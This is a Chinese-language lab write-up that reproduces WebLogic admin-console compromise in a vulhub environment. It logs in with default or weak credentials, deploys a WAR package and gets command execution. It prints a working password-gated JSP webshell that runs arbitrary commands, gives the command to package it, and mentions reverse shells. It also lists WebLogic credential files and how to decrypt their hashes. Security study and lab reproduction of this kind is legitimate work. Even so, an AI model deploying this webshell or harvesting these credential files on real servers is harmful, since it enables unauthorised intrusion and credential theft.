weblogic 后台弱密码上传war包getshell 漏洞复现
漏洞描述
Oracle WebLogic Server是Oracle 公司目前开发的Java EE 应用服务器,类似于tomcat
tomcat中存在后台上传war包getshell漏洞,同样weblogic服务也存在该漏洞,通常weblogic
有以下特征
- 默认端口为:
7001
- 特有的报错回显
- 后台目录为
/console/login/LoginForm.jsp
后台默认密码为用户名密码为weblogic
,也有一些常用的弱密码访问https://cirt.net/passwords?criteria=weblogic
查看
漏洞复习
使用vulhub
来复现该漏洞,vulhub
中该环境的用户名为weblogic
密码为Oracle@123
cd vulhub/weblogic/weak_password
sudo docker-compose up -d
启动后访问7001端口默认404
报错页面
访问/console/login/LoginForm.jsp
目录使用用户名和密码登录,登录成功后点击部署
点击安装,选择本地文件,然后一直下一步完成,中间可能要设置项目名称,就是需要访问的目录的名称,如果不设置默认就是上传war
文件的文件名
jsp木马有很多类型,这里我们手动封装一个
<%
if ("ocean".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.print(new String(b));
}
out.print("</pre>");
}
%>
打包为war
文件
jar cvf test.war test.jsp
上传war
文件
项目已经部署完成了,这时只需要访问就可以执行命令,注意连接的密码为ocean
成功利用
这里有很多的思路,例如直接上传webshell
,使用连接工具连接
也可以直接上传reverse-shell
代码,获得一个shell
另外vulhub
这个靶机作者给我们一个file.jsp
的文件,该文件有任意文件读取漏洞,使用该漏洞可以让我们理解一些weblogic
的重要文件
weblogic使用AES
加密,一般后台认证密码的配置文件中,例如user_projects/domains/base_domain/config/config.xml
在user_projects/domains/base_domain/servers/AdminServer/security
目录的boot.properties
中也包含后天用户名和密码,位置可能不同
security/SerializedSystemIni.dat
也是一个重要的配置文件,包含所有域的hash
值
我们可以使用file.jsp
读取这些文件内容,将hash
解密登录后台
例如:
解密密码可参考:https://github.com/TideSec/Decrypt_Weblogic_Password